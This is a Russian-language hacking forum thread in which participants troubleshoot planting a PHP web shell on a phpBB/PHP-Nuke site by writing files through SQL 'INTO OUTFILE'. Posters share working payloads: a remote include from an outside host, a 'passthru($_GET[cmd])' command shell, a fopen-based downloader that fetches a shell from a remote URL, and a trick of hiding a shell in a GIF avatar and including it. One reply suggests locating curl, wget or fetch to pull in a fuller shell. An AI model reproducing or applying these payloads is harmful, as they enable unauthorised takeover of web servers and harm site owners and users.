Заливаю шелл через востановление базы в phpbb Code: SELECT '<? @include("http://host.narod.ru/files.txt"); ?>' FROM nuke_users LIMIT 1 INTO OUTFILE 'C:/bla/bla-bla/Forums/images/avatars/shell.php'; Код исполняется это факт, но когда захожу на http://host/Forums/images/avatars/shell.php - выбрасывает пустую страницу =( "?" - в конце не помогает. Из-за чего такое может быть?
в папке куда ты залил шел находится конфигурационный файл Апача... с параметрами: "первый нах"(шутка, но только про имя параметра...)
не факт, обычно если не хватает прав, то вобще ничего не создается, и выбрасывает уведомления, а тут с этим все в порядке.
если открывается пшп файл, то это уже есть гуд. скорей всего инклуд извне запрещен, так что пробни вначале Code: SELECT '<? phpinfo() ?>' FROM nuke_users LIMIT 1 INTO OUTFILE 'C:/bla/bla-bla/Forums/images/avatars/shell.php'; если при заходе на сцылко shell.php покажет те пшпинфо, то можешь заливать такой код Code: <? passthru($_GET[cmd]); ?> потом юзай shell.php?cmd=ls зы. а далее ищи качалки и заливай норм шелл (which curl;which wget;which fetch;which lynx etc )
Возможно просто отключена возможность подключения удаленных файлов через include(). Создай файл с кодом PHP: <? phpinfo(); ?> и посмотри на директуву allow_url_fopen, если она off, тогда через include() ничего не вийдет.
попробуй Code: SELECT '<? @include("http://host.narod.ru/files.txt"); ?>' FROM nuke_users LIMIT 1 INTO OUTFILE '/bla/bla-bla/Forums/images/avatars/shell.php';
Такс phpinfo - катит allow_url_fopen - on. Все, теперь просто cmd - сделаю, но интересно почему - инклуд шелла не прокатил =( Хотя все ясно allow_url_include - Off Чем можно заменить include? кажется можно curl, но как?
Кстати Code: <? passthru($_GET[cmd]); ?> не катит, при запросе любой команды тоже белая страница когда просто запустил shell.php то квакнуло Warning: passthru() [function.passthru]: Cannot execute a blank command in C:\путь_к_шелу
а если сделать так? Code: SELECT '<? $filename = "http://host.narod.ru/files.txt"; $fd = fopen ($filename, "rb"); $fw=fopen("shell1.php","wb"); $contents = fread ($fd, filesize ($filename)); fwrite($fw,$contents); fclose($fw); fclose ($fd); ?>' FROM nuke_users LIMIT 1 INTO OUTFILE 'C:/bla/bla-bla/Forums/images/avatars/shell.php'; Да и с путями разберись
Code: SELECT '<? $filename = "http://host.narod.ru/files.txt"; $fd = fopen ($filename, "rb"); $fw=fopen("shell1.php","wb"); $contents = fread ($fd, filesize ($filename)); fwrite($fw,$contents); fclose($fw); fclose ($fd); ?>' FROM nuke_users LIMIT 1 INTO OUTFILE 'C:/bla/bla-bla/Forums/images/avatars/shell.php'; выбрасывает вот такую фигню GrAmOzEkA Пару раз уже говорил - не прокатит инклуд.
мдя. выставляешь в админке phpbb максимальный размер загруж авы 150кб, грузишь аву http://c411k.jino-net.ru/upload/achat.gif бэкапишь бд с запросом Code: SELECT '<?php include("/avatars/achat.gif"); ?>' FROM nuke_users LIMIT 1 INTO OUTFILE 'C:/bla/bla-bla/Forums/images/avatars/shell.php'; и у тебя есть полноценный шелл от рст. если не можешь изменить размер, то рисуешь в фотошопе пиксель 1х1, сохраняешь, открываешь в HEX-редакторе и встявляешь в конец маленький по размеру шелл.
Micr0b, я писал про вставку команд напрямую passthru("uname -a; id ..."), а не про передачу их через запросы.
А если там стоит ASP.Net без ПХП, то что тогда использовать? Есть только возможность править страницу.